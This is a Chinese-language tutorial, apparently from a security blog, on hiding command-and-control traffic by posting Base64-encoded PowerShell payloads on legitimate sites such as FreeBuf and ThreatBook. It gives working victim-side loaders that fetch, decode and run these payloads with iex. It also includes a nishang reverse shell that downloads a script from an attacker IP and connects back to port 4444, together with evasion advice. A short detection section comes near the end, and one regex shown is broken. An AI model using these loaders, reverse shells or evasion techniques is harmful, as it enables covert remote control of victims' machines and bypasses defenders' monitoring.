使用合法网站制作C2
字数 1592 2025-08-19 12:41:46

利用合法网站构建隐蔽C2通信的教学文档

概述

本教学文档详细介绍了如何利用合法网站(如FreeBuf、微步社区等)作为命令与控制(C2)服务器的隐蔽通信方法。这种方法通过将恶意Payload托管在受信任网站的公开页面上,利用网站的正常流量来隐藏恶意活动,从而绕过防火墙和安全检测。

核心原理

  1. 隐蔽通信:利用合法网站的公开页面托管Base64编码的恶意命令
  2. 绕过检测:利用受信任网站的域名和流量模式,避免触发安全警报
  3. 动态更新:攻击者可随时修改网站上的Payload内容

准备工作

所需工具

  • PowerShell(受害者主机)
  • Base64编码工具(Linux/macOS自带,Windows可用在线工具)
  • 网络请求工具(如curl或Invoke-WebRequest)
  • 正则表达式匹配能力

目标网站选择标准

  1. 允许用户公开编辑内容
  2. 内容可通过固定链接访问
  3. 允许存储足够长度的字符串(至少200字符)
  4. 修改后内容能立即公开可见
  5. 在"查看源代码"中完整显示内容

详细实施步骤

方法一:使用FreeBuf作为Payload托管

1. 创建基础PowerShell命令

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\$env:USERNAME\Documents\thatgood'
  • -ep bypass:绕过执行策略
  • /w 1:隐藏窗口
  • New-Item:创建文件

2. Base64编码

printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\thatgood'" | base64 | tr -d '\n'

输出结果:

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw==

3. 托管到FreeBuf

  1. 登录FreeBuf账号
  2. 编辑个人简介
  3. 将Base64编码用STARTEND包裹:
    STARTcG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLEl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHRoYXRnb29kJw==END
    
  4. 保存并验证无痕模式下可见

4. 受害者端执行

$wro = iwr -Uri https://www.freebuf.com/author/Snow%E7%8B%BC%E5%95%8A -UseBasicParsing;
$r = [Regex]::new("(?<=START)(.*)(?=END)");
$m = $r.Match($wro.rawcontent);
if($m.Success){ 
    $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
    iex $p 
}

方法二:使用微步社区作为C2服务器

1. 创建TCP反向Shell Payload

使用nishang项目的Invoke-PowerShellTcp.ps1脚本:

powershell "IEX(New-Object Net.WebClient).DownloadString('http://192.168.8.113/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.8.113 -Port 4444"

2. Base64编码

printf '%s' 'powershell "IEX(New-Object Net.WebClient).DownloadString('\''http://192.168.8.113/Invoke-PowerShellTcp.ps1'\''); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.8.113 -Port 4444"' | base64 | tr -d '\n'

输出结果:

cG93ZXJzaGVsbCAiSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjguMTEzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpOyBJbnZva2UtUG93ZXJTaGVsbFRjcCAtUmV2ZXJzZSAtSVBBZGRyZXNzIDE5Mi4xNjguOC4xMTMgLVBvcnQgNDQ0NCI=

3. 托管到微步社区

  1. 在微步社区发帖
  2. 将Base64编码用STARTEND包裹
  3. 注意微步社区可能有多余匹配问题

4. 受害者端执行(修正正则表达式)

$wro = iwr -Uri https://x.threatbook.com/v5/article?threatInfoID=37765 -UseBasicParsing;
$r = [Regex]::new("(?<=START)END)");
$m = $r.Match($wro.rawcontent);
if($m.Success){ 
    $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));
    iex $p 
}

关键注意事项

  1. Payload长度限制

    • FreeBuf简介限制200字符
    • 微步社区帖子无限制(更适合长Payload)
  2. 正则表达式优化

    • 使用非贪婪匹配.*?避免匹配过多内容
    • 微步社区需要特殊处理:(?<=START)END)
  3. 测试验证

    • 始终先用echo测试输出而非直接iex
    • 验证Base64解码后的命令是否正确
  4. 隐蔽性增强

    • 优先选择微软等受信任域名的服务
    • 定期更换托管Payload的页面
  5. 网络限制

    • 确保受害者主机能访问目标网站
    • 考虑企业网络可能对某些网站的访问限制

防御措施

检测方法

  1. 监控异常PowerShell活动:

    • 大量使用iwr/Invoke-WebRequest
    • Base64解码后立即执行命令
  2. 网络流量分析:

    • 合法网站访问后立即建立异常连接
    • 检查HTTP响应中是否包含可疑的Base64字符串
  3. 正则表达式模式:

    • 检测START.*?END模式的使用
    • 监控包含长Base64字符串的网页访问

防护建议

  1. 限制PowerShell使用:

    • 禁用不必要的执行策略绕过
    • 记录所有PowerShell活动
  2. 网络控制:

    • 限制出站连接
    • 对受信任网站也实施内容检查
  3. 用户教育:

    • 提高对社交工程攻击的认识
    • 禁止执行不明来源的脚本

扩展应用

  1. 多阶段Payload

    • 第一阶段从合法网站获取小型加载器
    • 第二阶段加载完整恶意软件
  2. 域名轮换

    • 使用多个合法网站作为备用C2
    • 根据条件选择不同的Payload源
  3. 结合其他技术

    • 与合法API结合使用
    • 利用网站评论功能动态更新指令

总结

这种利用合法网站作为C2的方法具有较高的隐蔽性,特别适合针对有严格网络安全措施的目标。攻击者可以通过精心选择托管平台、优化Payload设计和改进通信模式来提高成功率。防御方则需要从多个层面建立检测和防护机制,不能仅依赖域名信誉或流量模式识别。

利用合法网站构建隐蔽C2通信的教学文档 概述 本教学文档详细介绍了如何利用合法网站(如FreeBuf、微步社区等)作为命令与控制(C2)服务器的隐蔽通信方法。这种方法通过将恶意Payload托管在受信任网站的公开页面上,利用网站的正常流量来隐藏恶意活动,从而绕过防火墙和安全检测。 核心原理 隐蔽通信 :利用合法网站的公开页面托管Base64编码的恶意命令 绕过检测 :利用受信任网站的域名和流量模式,避免触发安全警报 动态更新 :攻击者可随时修改网站上的Payload内容 准备工作 所需工具 PowerShell(受害者主机) Base64编码工具(Linux/macOS自带,Windows可用在线工具) 网络请求工具(如curl或Invoke-WebRequest) 正则表达式匹配能力 目标网站选择标准 允许用户公开编辑内容 内容可通过固定链接访问 允许存储足够长度的字符串(至少200字符) 修改后内容能立即公开可见 在"查看源代码"中完整显示内容 详细实施步骤 方法一:使用FreeBuf作为Payload托管 1. 创建基础PowerShell命令 -ep bypass :绕过执行策略 /w 1 :隐藏窗口 New-Item :创建文件 2. Base64编码 输出结果: 3. 托管到FreeBuf 登录FreeBuf账号 编辑个人简介 将Base64编码用 START 和 END 包裹: 保存并验证无痕模式下可见 4. 受害者端执行 方法二:使用微步社区作为C2服务器 1. 创建TCP反向Shell Payload 使用nishang项目的 Invoke-PowerShellTcp.ps1 脚本: 2. Base64编码 输出结果: 3. 托管到微步社区 在微步社区发帖 将Base64编码用 START 和 END 包裹 注意微步社区可能有多余匹配问题 4. 受害者端执行(修正正则表达式) 关键注意事项 Payload长度限制 : FreeBuf简介限制200字符 微步社区帖子无限制(更适合长Payload) 正则表达式优化 : 使用非贪婪匹配 .*? 避免匹配过多内容 微步社区需要特殊处理: (?<=START)END) 测试验证 : 始终先用 echo 测试输出而非直接 iex 验证Base64解码后的命令是否正确 隐蔽性增强 : 优先选择微软等受信任域名的服务 定期更换托管Payload的页面 网络限制 : 确保受害者主机能访问目标网站 考虑企业网络可能对某些网站的访问限制 防御措施 检测方法 监控异常PowerShell活动: 大量使用 iwr / Invoke-WebRequest Base64解码后立即执行命令 网络流量分析: 合法网站访问后立即建立异常连接 检查HTTP响应中是否包含可疑的Base64字符串 正则表达式模式: 检测 START.*?END 模式的使用 监控包含长Base64字符串的网页访问 防护建议 限制PowerShell使用: 禁用不必要的执行策略绕过 记录所有PowerShell活动 网络控制: 限制出站连接 对受信任网站也实施内容检查 用户教育: 提高对社交工程攻击的认识 禁止执行不明来源的脚本 扩展应用 多阶段Payload : 第一阶段从合法网站获取小型加载器 第二阶段加载完整恶意软件 域名轮换 : 使用多个合法网站作为备用C2 根据条件选择不同的Payload源 结合其他技术 : 与合法API结合使用 利用网站评论功能动态更新指令 总结 这种利用合法网站作为C2的方法具有较高的隐蔽性,特别适合针对有严格网络安全措施的目标。攻击者可以通过精心选择托管平台、优化Payload设计和改进通信模式来提高成功率。防御方则需要从多个层面建立检测和防护机制,不能仅依赖域名信誉或流量模式识别。